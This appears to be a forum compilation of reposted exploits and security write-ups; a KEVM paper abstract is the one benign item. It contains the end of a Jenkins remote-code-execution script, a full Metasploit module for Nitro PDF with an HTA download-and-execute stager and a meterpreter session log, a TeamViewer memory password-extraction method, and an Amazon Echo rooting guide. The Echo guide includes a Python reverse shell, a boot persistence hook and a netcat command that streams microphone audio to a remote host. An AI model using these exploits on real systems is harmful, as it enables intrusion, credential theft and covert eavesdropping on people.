Check if X-Jenkins header containing version is present then proceed jenkinsVersionHeader = headResponse.headers.get('X-Jenkins') if jenkinsVersionHeader is not None: # Strip version after second dot from header to perform conversion to Decimal stripCharacter = "." strippedVersion = stripCharacter.join(jenkinsVersionHeader.split(stripCharacter)[:2]) # Perform basic version check if Decimal(strippedVersion) < 1.650: print(f'[+] Jenkins version: {Decimal(strippedVersion)} | VULNERABLE') # Prepare payload payload = prepare_payload(command) # Prepare POST url randomJobName = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8)) if url.endswith('/'): postUrl = f'{url}createItem?name={randomJobName}' else: postUrl = f'{url}/createItem?name={randomJobName}' print(f'[+] Will POST to {postUrl}') # Try to execute passed command postResponse = requests.post(postUrl, data=payload, headers={'Content-Type': 'application/xml'}) print(f'[+] Exploit launched ') # 500 response code is ok here print(f'[+] Response code: {postResponse.status_code} ') if postResponse.status_code == 500: print('[+] SUCCESS') else: print('[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED') else: print(f'[-][ERROR] Version {Decimal(strippedVersion)} is not vulnerable') else: print(f'[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at {url}') else: print(f'[-][ERROR] {url} Server did not return success response code | RESPONSE: {headResponse.status_code}') except RequestException as ex: print(f'[-] [ERROR] Request exception: {ex}') print('[*] FINISHED') Sursa: https://www.exploit-db.com/exploits/42394/

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1247 When XPC serializes large xpc_data objects it creates mach memory entry ports to represent the memory region then transfers that region to the receiving process by sending a send right to the memory entry port in the underlying mach message. By crafting our own xpc message (or using an interposition library as this poc does) we can pass different flags to mach_make_memory_entry_64 such that the memory entry received by the target process actually represents a region of shared memory such that when the xpc_data deserialization code maps the memory entry port the memory region remains mapped in the sender's address space and the sender can still modify it (with the receiver seeing the updates.) Perhaps this is intended behaviour but there's definitely plenty of code which doesn't expect the contents of xpc_data objects to change. In this PoC I target NSXPC, a high-level RPC mechanism which uses XPC for its low-level transport layer. NSXPC is widely used across privilege boundaries. NSXPCDecoder is implemented in Foundation. Clients send serialized NSInvocation objects representing the methods they wish to call on the remote objects. These NSInvocations are serialized using the NSSecureCoding method which ends up creating a bplist16 serialized byte stream. That bplist16 buffer gets sent in an xpc message as an xpc_data object. NSXPCDecoder wraps the bplist16 deserialization and for selectors such as decodeCStringForKey: ,if the key is present, the value returned will be a pointer directly into the xpc_data object in which it was received. By crafting our own memory entry object this means the pointers returned by decodeCStringForKey: actually point into shared memory which can still be modified by the caller. This can be turned directly into controlled memory corruption by targetting the serialized method type signature (key 'ty') which is parsed by [NSMethodSignature signatureWithObjCTypes]. This method is implemented in CoreFoundation. If the method signature string isn't in a cache of parsed signatures then the string is passed to __NSMS1. This function calls __NSGetSizeAndAlignment to determine the size of a buffer required to parse the signature string which __NSMS1 then allocates using calloc before parsing the signature string into the allocated buffer. If we change the types represented by the signature string (which is in shared memory) between these two calls we can cause the parsing code to write out of bounds as it assumes that the length computed by __NSGetSizeAndAlignment is correct. The most direct path to trigger memory controlled memory corruption is to use a type signature like this: @"ABCD" That will cause 7 bytes of buffer space to be allocated for the parsed signature (which will just contain a copy of the string.) If we increase the length of the string in shared memory eg to: @"ABCDOVERFLOW_OVERFLOW_OVERFLOW" then __NSMS1 will copy the extra bytes up until it encounters a '"' character. This PoC targets the airportd daemon which runs as root but should work for any NSXPC service. This is a race condition so you may have to run the PoC multiple times (./run.sh) and also use libgmalloc to see the corruption directly rather than its effects. ################################################################################ triple_fetch - ianbeer This is an exploit for CVE-2017-7047, a logic error in libxpc which allowed malicious message senders to send xpc_data objects that were backed by shared memory. Consumers of xpc messages did not seem to expect that the backing buffers of xpc_data objects could be modified by the sender whilst being processed by the receiver. This project exploits CVE-2017-7047 to build a proof-of-concept remote lldb debugserver stub capable of attaching to and allowing the remote debugging all userspace processes on iOS 10.0 to 10.3.2. Please see the README in the nsxpc2pc folder in the attached archive for further discussion and details. ################################################################################ The exploit isn't hugely reliable - the race condition needs quite exact timing and sometimes it just doesn't work or it does but the heap groom fails. You should just hard reboot the device and try again. It may take a couple of attempts but it should work. Once the debugserver is running it should be stable. If you take a look at the xcode stdout/debugger window you can see some more status information. Proof of Concept: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42407.zip Sursa: https://www.exploit-db.com/exploits/42407/

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::FileDropper include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => 'Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote Code Execution', 'Description' => %q{ This module exploits an unsafe Javascript API implemented in Nitro and Nitro Pro PDF Reader version 11. The saveAs() Javascript API function allows for writing arbitrary files to the file system. Additionally, the launchURL() function allows an attacker to execute local files on the file system and bypass the security dialog Note: This is 100% reliable. }, 'License' => MSF_LICENSE, 'Author' => [ 'mr_me <steven[at]srcincite.io>', # vulnerability discovery and exploit 'Brendan Coles <bcoles [at] gmail.com>', # hidden hta tricks! 'sinn3r' # help with msf foo! ], 'References' => [ [ 'CVE', '2017-7442' ], [ 'URL', 'http://srcincite.io/advisories/src-2017-0005/' ], # public advisory #1 [ 'URL', 'https://blogs.securiteam.com/index.php/archives/3251' ], # public advisory #2 (verified and acquired by SSD) ], 'DefaultOptions' => { 'DisablePayloadHandler' => false }, 'Platform' => 'win', 'Targets' => [ # truly universal [ 'Automatic', { } ], ], 'DisclosureDate' => 'Jul 24 2017', 'DefaultTarget' => 0)) register_options([ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]), ]) deregister_options('SSL', 'SSLVersion', 'SSLCert') end def build_vbs(url, stager_name) name_xmlhttp = rand_text_alpha(2) name_adodb = rand_text_alpha(2) vbs = %Q|<head><hta:application applicationname="#{@payload_name}" border="none" borderstyle="normal" caption="false" contextmenu="false" icon="%SystemRoot%/Installer/{7E1360F1-8915-419A-B939-900B26F057F0}/Professional.ico" maximizebutton="false" minimizebutton="false" navigable="false" scroll="false" selection="false" showintaskbar="No" sysmenu="false" version="1.0" windowstate="Minimize"></head> <style>* { visibility: hidden; }</style> <script language="VBScript"> window.resizeTo 1,1 window.moveTo -2000,-2000 </script> <script type="text/javascript">setTimeout("window.close()", 5000);</script> <script language="VBScript"> On Error Resume Next Set #{name_xmlhttp} = CreateObject("Microsoft.XMLHTTP") #{name_xmlhttp}.open "GET","http://#{url}",False #{name_xmlhttp}.send Set #{name_adodb} = CreateObject("ADODB.Stream") #{name_adodb}.Open #{name_adodb}.Type=1 #{name_adodb}.Write #{name_xmlhttp}.responseBody #{name_adodb}.SaveToFile "C:#{@temp_folder}/#{@payload_name}.exe",2 set shellobj = CreateObject("wscript.shell") shellobj.Run "C:#{@temp_folder}/#{@payload_name}.exe",0 </script>| vbs.gsub!(/ /,'') return vbs end def on_request_uri(cli, request) if request.uri =~ /\.exe/ print_status("Sending second stage payload") return if ((p=regenerate_payload(cli)) == nil) data = generate_payload_exe( {:code=>p.encoded} ) send_response(cli, data, {'Content-Type' => 'application/octet-stream'} ) return end end def exploit # In order to save binary data to the file system the payload is written to a .vbs # file and execute it from there. @payload_name = rand_text_alpha(4) @temp_folder = "/Windows/Temp" register_file_for_cleanup("C:#{@temp_folder}/#{@payload_name}.hta") if datastore['SRVHOST'] == '0.0.0.0' lhost = Rex::Socket.source_address('50.50.50.50') else lhost = datastore['SRVHOST'] end payload_src = lhost payload_src << ":#{datastore['SRVPORT']}#{datastore['URIPATH']}#{@payload_name}.exe" stager_name = rand_text_alpha(6) + ".vbs" pdf = %Q|%PDF-1.7 4 0 obj << /Length 0 >> stream | pdf << build_vbs(payload_src, stager_name) pdf << %Q| endstream endobj 5 0 obj << /Type /Page /Parent 2 0 R /Contents 4 0 R >> endobj 1 0 obj << /Type /Catalog /Pages 2 0 R /OpenAction [ 5 0 R /Fit ] /Names << /JavaScript << /Names [ (EmbeddedJS) << /S /JavaScript /JS ( this.saveAs('../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta'); app.launchURL('c$:/../../../../../../../../../../../../../../../..#{@temp_folder}/#{@payload_name}.hta'); ) >> ] >> >> >> endobj 2 0 obj <</Type/Pages/Count 1/Kids [ 5 0 R ]>> endobj 3 0 obj <<>> endobj xref 0 6 0000000000 65535 f 0000000166 00000 n 0000000244 00000 n 0000000305 00000 n 0000000009 00000 n 0000000058 00000 n trailer << /Size 6 /Root 1 0 R >> startxref 327 %%EOF| pdf.gsub!(/ /,'') file_create(pdf) super end end =begin saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/nitro.rc [*] Processing scripts/nitro.rc for ERB directives. resource (scripts/nitro.rc)> use exploit/windows/fileformat/nitro_reader_jsapi resource (scripts/nitro.rc)> set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp resource (scripts/nitro.rc)> set LHOST 172.16.175.1 LHOST => 172.16.175.1 resource (scripts/nitro.rc)> exploit [*] Exploit running as background job. [*] Started reverse TCP handler on 172.16.175.1:4444 msf exploit(nitro_reader_jsapi) > [+] msf.pdf stored at /Users/mr_me/.msf4/local/msf.pdf [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.100.4:8080/ [*] Server started. [*] 192.168.100.4 nitro_reader_jsapi - Sending second stage payload [*] Sending stage (957487 bytes) to 172.16.175.232 [*] Meterpreter session 1 opened (172.16.175.1:4444 -> 172.16.175.232:49180) at 2017-04-05 14:01:33 -0500 [+] Deleted C:/Windows/Temp/UOIr.hta msf exploit(nitro_reader_jsapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter > shell Process 2412 created. Channel 2 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\researcher\Desktop> =end Sursa: https://cxsecurity.com/issue/WLB-2017080011

KEVM: A Complete Semantics of the Ethereum Virtual Machine Everett Hildenbrandt (UIUC), Manasvi Saxena (UIUC), Xiaoran Zhu (UIUC), Nishant Rodrigues (UIUC), Philip Daian (Cornell Tech, IC3, and RV Inc.), Dwight Guth (RV Inc.), and Grigore Ro¸su (UIUC and RV Inc.) August 1, 2017 Abstract A developing field of interest for the distributed systems and applied cryptography community is that of smart contracts: self-executing financial instruments that synchronize their state, often through a blockchain. One such smart contract system that has seen widespread practical adoption is Ethereum, which has grown to secure approximately 30 billion USD of currency value and in excess of 300,000 daily transactions. Unfortunately, the rise of these technologies has been marred by a repeated series of security vulnerabilities and high profile contract failures. To address these failures, the Ethereum community has turned to formal verification and program analysis which show great promise due to the computational simplicity and boundedtime execution inherent to smart contracts. Despite this, no fully formal, rigorous, comprehensive, and executable semantics of the EVM (Ethereum Virtual Machine) currently exists, leaving a lack of rigor on which to base such tools. In this work, we present KEVM, the first fully executable formal semantics of the EVM, the bytecode language in which smart contracts are executed. We create this semantics in a framework for executable semantics, the K framework. We show that our semantics not only passes the official 40,683-test stress test suite for EVM implementations, but also reveals ambiguities and potential sources of error in the existing on-paper formalization of EVM semantics [45] on which our work is based. These properties make KEVM an ideal formal reference implementation against which other implementations can be evaluated. We proceed to argue for a semantics-first formal verification approach for EVM contracts, and demonstrate its practicality by using KEVM to verify practically important properties over the arithmetic operation of an example smart contract and the correct operation of a token transfer function in a second contract. We show that our approach is feasible and not computationally restrictive. We hope that our work serves as the base for the development of a wide range of useful formally derived tools for Ethereum, including model checkers, certified compilers, and program equivalence checkers. Link: https://www.ideals.illinois.edu/handle/2142/97207

Extract password from TeamViewer memory using Frida Hi there, in this article we want to tell about our little research about password security in TeamViewer. The method can help during the pentest time for post exploitation to get access to another machine using TeamViewer. TeamViewer automatically authentication A few days ago I worked on my windows cloud VPS with TeamViewer (where I set a custom password). After work I disconnected, at the next time when I wanted to connect, I saw that TeamViewer had auto-filled the password. I think “Interesting, how can i get access to the password? How is the password stored in my computer?” Password location I dumped the memory of the TeamViewer and grepped password. Ooo yeees, 😊 password in the memory is stored in Unicode format. It turns out that if you finish work with TeamViewer and don’t kill the process (or exit from TeamViewer the password will be stored in memory) After analyzing we understood that the first red area is a start magic data, in the second one – end magic data (from time to time, end magic data has this value = 00 00 00 20 00 00). Script for getting password To extract passwords from memory we wrote two mini programs, in Python and C++ language. Thx Frida team for a wonderful tool! Our python script attaches to the TeamViewer.exe process, gets the base address and memory size of each library in this process. After that, it dumps one by one memory area, searches parts with [00 88] bytes at the start and [00 00 00] bytes in the end and copies them in the array. The next and the last step is choosing end decoding raws according to the regexp and password policy. After executing the C++ code, you will get this view “asdQWE123” is the password For the future The programs can extract well remote ID and passwords, but he also gets some false positive dates. If we will have free time, we will try to reduce false positive rates. Optimize C++ code from https://github.com/vah13/extractTVpasswords examples c++ example python example @NewFranny @vah_13 Sursa: https://github.com/vah13/extractTVpasswords

Alexa, are you listening? Mark Barnes, 1 August 2017 Introduction The Amazon Echo is vulnerable to a physical attack that allows an attacker to gain a root shell on the underlying Linux operating system and install malware without leaving physical evidence of tampering. Such malware could grant an attacker persistent remote access to the device, steal customer authentication tokens, and the ability to stream live microphone audio to remote services without altering the functionality of the device. This vulnerability is due to two hardware design choices: Exposed debug pads on the base of the device Hardware configuration setting which allows the device to boot from an external SD Card Here we present a technique for rooting an Amazon Echo and then turning it into a 'wiretap'. Prior Work Prior researchers were able to boot into a generic Linux environment from an external SD Card attached to debug pads made available on the base of the Amazon Echo device. They made their processes, details of the debug pins, and bootable SD Card image available on a Github wiki [1]. In their white paper [2] they further speculated how to 'root' the Amazon Echo. Here we extend their work by booting into the actual firmware on the Echo, install a persistent implant, gain remote root shell access, and finally remotely snoop on the 'always listening' microphones. Getting Root Removing the rubber base of the Amazon Echo reveals 18 debug pads. The purpose of these pads was mapped out in the paper by Clinton et. al. [2] By connecting to the exposed UART pads we can watch the device boot, informing us of its configuration. $ screen /dev/ttyUSB0 115200 8N1 Texas Instruments X-Loader 1.51 (Oct 2 2016 - 09:08:33) LAB126 Rev 0 Starting X-loader on mmc-0...failed! Starting X-loader on mmc-0...failed! Booting from eMMC . . . Starting X-loader on mmc-1...Reading boot sector 156780 Bytes Read from MMC Starting OS Bootloader from MMC... Starting OS Bootloader...(time = 785 ms) U-Boot 2010.06-00005-g2e50740 (Jan 30 2017 - 17:24:38) OMAP34xx/35xx-GP ES2.1, CPU-OPP2 L3-165MHz OMAP3 LAB126 board + LPDDR/NAND I2C: ready DRAM: 256 MiB MMC: OMAP SD/MMC: 0, OMAP SD/MMC: 1 Using default environment In: serial Out: serial Err: serial OMAP3 Lab126 Rev: 0x1a Die ID #327400029e380000016b24a908026008 76 bytes read in 10 ms (6.8 KiB/s) 399 bytes read in 8 ms (47.9 KiB/s) failed to get powersave var 824 bytes read in 12 ms (66.4 KiB/s) Animation Version = 3 File System is consistent file found deleting update journal finished File System is consistent update journal finished Card did not respond to voltage select! Invalid uuid. Booting by block dev booting ...main-A OMAP3 Lab126 Rev: 0x1a * Booting from mmc ... 2605664 bytes read in 505 ms (4.9 MiB/s) ## Booting kernel from Legacy Image at 82000000 ... Image Name: Linux-2.6.37 Image Type: ARM Linux Kernel Image (uncompressed) Data Size: 2605600 Bytes = 2.5 MiB Load Address: 80008000 Entry Point: 80008000 Verifying Checksum ... OK Loading Kernel Image ... OK OK Starting kernel ... [ 0.000000] Trying to install type control for IRQ385 [ 0.000000] Trying to set irq flags for IRQ385 [ 0.154846] mtdoops: mtd device (mtddev=name/number) must be supplied [ 0.165100] ks8851 spi1.0: failed to read device ID [ 0.201934] codec: aic32xx_i2c_probe : snd_soc_register_codec success [ 0.246307] Power Management for TI OMAP3. [ 0.256164] drivers/rtc/hctosys.c: unable to open rtc device (rtc0) [ 2.320709] DSPLINK Module (1.65.01.05_eng) created on Date: Jan 31 2017 Time: 01:27:58 Shared memory /QSpeakerIn.shm deletion failed. Shared memory /QEarconIn.shm deletion failed. Shared memory /AudiodCmd.shm deletion failed. Shared memory /BMicsOut.shm deletion failed. Shared memory /BPhoneMic.shm deletion failed. Shared memory /BVoIPMic.shm deletion failed. Shared memory /BTraitReport.shm deletion failed. Shared memory /BAsrMetadata.shm deletion failed. Shared memory /BRemoteMic.shm deletion failed. CGRE[795]: Started the CGroup Rules Engine Daemon. Shared memory /BPlaybackAvgPower.shm deletion failed. shared memory /QSpeakerIn.shm created successfully. (byte_num=95232.) shared memory /QEarconIn.shm created successfully. (byte_num=16000.) shared memory /AudiodCmd.shm created successfully. (byte_num=3000.) shared memory /BMicsOut.shm created successfully. (msg_size=2, msg_num=1048575.) shared memory /BPhoneMic.shm created successfully. (msg_size=2, msg_num=16000.) shared memory /BRemoteMic.shm created successfully. (msg_size=2, msg_num=16000.) shared memory /BVoIPMic.shm created successfully. (msg_size=2, msg_num=16000.) shared memory /BPlaybackAvgPower.shm created successfully. (msg_size=4, msg_num=50.) shared memory /BTraitReport.shm created successfully. (msg_size=24, msg_num=128.) shared memory /BAsrMetadata.shm created successfully. (msg_size=1, msg_num=131072.) CMEM Shared Sizes: Audio A2D 9612 82836 Aux A2D 240276 1600276 Unfortunately/fortunately during boot we are not dropped into a shell or a login prompt and the U-Boot sequence cannot be interrupted. The main MCU of the Amazon Echo is a DM3725 digital media processor by Texas Instruments with an ARM Cortex-A8 CPU. During boot these chips have a three part boot process. First a bootrom executes from a masked ROM which performs some minimal hardware configuration. It then loads a secondary bootloader (X-loader) from a boot device into the internal RAM on the MCU. This bootstraps the device before loading a third bootloader (U-Boot) into external RAM and executing it. U-Boot then loads the kernel and passes control to it. The configuration of the Echo is such that it will first attempt to boot from an SD Card connected to the exposed debug pads before the internal eMMC unit. This boot order configuration is determined by the state of several hardware pins on the MCU during boot and cannot be changed without a hardware revision/modification of the main board. By correctly formatting a SD Card with X-loader and U-Boot in the correct partition we can boot from this card and into a U-Boot commandline interface. As the mask ROM communicates with the SD Card in SPI mode and we are not booting the main OS from the card, we don't need to connect to all of the SDMMC pads shown in the figure above. The mapping from MMC to SPI is as follows. SDMMC D0 → MISO SDMMC D3 → !SS SDMMC CMD → MOSI SDMMC CLOCK → SCK We also need to apply +3V to the SDMMC POWER pad and to the SD Card and connect one of the GND pads. The image below shows our lab Echo wired up to an external SD Card breakout board and connected via UART to a laptop. An image of a bootable SD Card can be found on [1], however in our PoC we only really need the first FAT32 partition of this image containing the X-loader (MLO) and U-Boot binaries. During power-up the device boots from the MLO and U-Boot binaries on the SD Card. This U-Boot implementation allows us to interrupt the boot process and enter into the U-Boot command line interface. From here it is possible to inspect the contents of the file systems on the internal memory and reconfigure the kernel arguments. We now need to determine which partition on the internal eMMC contains the main kernel and file system. The internal eMMC contains 8 partitions with the following labels: xloader recovery boot idme diag main-A main-B data The diag partition holds a rather curious diagnostic environment which we have not fully examined. The main file system and kernel we want is either on main-A or main-B and switches between them on each firmware update. To find out which one we need we can examine the file systems from U-Boot with the following commands: uboot> mmc dev 1 uboot> ext4ls mmc 1:6 uboot> ext4ls mmc 1:7 Running these we should only see a file system on one of the partitions. If we see a file system on both partitions then the device is mid way through a firmware update and we should reboot the device without the SD Card and wait for it to finish the update. Now we know which partition we want to boot from we can configure U-Boot to boot from this partition. We also need to change the kernel arguments to mount it as a writable file system and to run /bin/sh rather than the normal startup up scripts. uboot> setenv mmc_part 1:6 # or 1:7 depending where the kernel and file system are uboot> setenv root /dev/mmcblk0p6 # or mmcblk0p7 depending where the file system is uboot> setenv mmcargs 'setenv bootargs console=${console} root=${root} ${mount_type} rootfstype=ext3 rootwait ${config_extra} init=/bin/sh' uboot> setenv mount_type rw uboot> boot Once booted a root terminal is presented over UART, bypassing all authentication. sh-3.2# whoami root At this stage no initialisation scripts have been ran and the device reboots every few minutes. To prevent we need to start a watchdog daemon which is used to preiodicaly reset a reboot timer. To spawn the watchdog daemon, run the following command: sh-3.2# /usr/local/bin/watchdogd The environment is now stable however none of the main services have been started and the device is not fully functional. We do however have full read/write access to the entire file system and can go about making modifications. In our PoC we install a reverse shell script in the data partition (which is normally mounted on /var) as it is writable in normal operation. To mount this partition we can issue the following command: sh-3.2# mount -t ext3 /dev/mmcblk0p8 /var Now we have the partition mounted we can add persistence. We do this by first adding a reverse shell script to the now mounted /var directory revShell.py #!/usr/bin/python import socket,subprocess,os host = "x.x.x.x" # Our remote listening server port = 1337 while True: try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) s.connect((host, port)) p=subprocess.call(["/bin/sh","-i"]) s.close() except Exception as e: s.close() continue We also need our reverse shell to be spawned on boot. We can do this by adding the following line to the end of one of the initialisation scripts. We picked /etc/init.d/varlocal.sh as it is one of the last ones that gets ran and it mounts the data partition. exec python /var/revShell.py& Once our reverse shell is installed we can remove the external SD Card and UART connections and reboot the Echo into its normal operation. During boot the initialisation script spawns our reverse shell. If we listen on port 1337 on our remote device the Amazon Echo should connect to it with a root shell: $ nc -lp 1337 sh: no job control in this shell sh-3.2# whoami root sh-3.2# Are you listening? Once we had root we examined the processes running on the device and the scripts that spawn these processes. We were able to understand how audio media is being passed and buffered between processes and the tools that are used to create and interact with these audio buffers. Using the provided 'shmbuf_tool' application developed by Amazon, we created a script that would continuously write the raw microphone data into a named fifo pipe which we then stream over TCP/IP to a remote service. On the remote device we receive the raw microphone audio, sample the data and either save it as a wav file or play it out of the speakers of the remote device. This technique does not affect the functionality of the Amazon Echo. The script to be ran on the Amazon Echo is as follows. startStream.sh #!/bin/sh mkfifo /tmp/spy cat /tmp/spy | nc x.x.x.x 1338 & shmbuf_tool -m 2 -s 1 -S BMicsOut.shm -o /tmp/spy & To save the audio stream on the remote device run the following, $ nc -lp 1338 | sox -t raw -r 16k -e signed-integer -b 16 -c 1 - spy.wav or to play it from the speakers. $ nc -lp 1338 | aplay -f S16_BE -c 1 -r 16000 The Fix This vulnerability has been confirmed on the 2015 and 2016 edition of the Amazon Echo however the 2017 edition is not vulnerable to this physical attack. The mitigation implemented by Amazon was to join the +3V input pad with the MOSI/CMD pad somewhere on the main board, this effectively disables SPI communications with an external SD Card, preventing external booting. To identify if a device is vulnerable you can check the original pack for a 2017 copyright and a device model number ending 02. Image of the vulnerable 2016 edition with the model number 23-002518-01: Image of the fixed 2017 edition with the model number 23-002518-02: Note the white edition has a slightly different number of 23-002517-0x. Final Thoughts Rooting an Amazon Echo was trivial however it does require physical access which is a major limitation. However, product developers should not take it for granted that their customers won't expose their devices to uncontrolled environments such as hotel rooms [3]. The Amazon Echo does include a physical mute button that disables the microphone on the top of the device or can be turned off when sensitive information is being discussed (this is a hardwire mechanism and cannot be altered via software). Although the Echo brings about questions of privacy with its 'always listening' microphones, many of us walk around with trackable microphones in our pockets without a second thought. Product recalls and modifications can be expensive in post production, so physical security should be considered throughout the development life cycle. Physical attacks should also be incorporated into any security assessments as early as possible to increase assurance of the product and save money on not having to produce new hardware prototypes later in product development. 1. https://github.com/echohacking/wiki/wiki/Echo 2. https://vanderpot.com/Clinton_Cook_Paper.pdf 3. https://www.theverge.com/circuitbreaker/2016/12/14/13955878/wynn-las-vegas-amazon-echo-hotel-room-privacy Sursa: https://labs.mwrinfosecurity.com/blog/alexa-are-you-listening/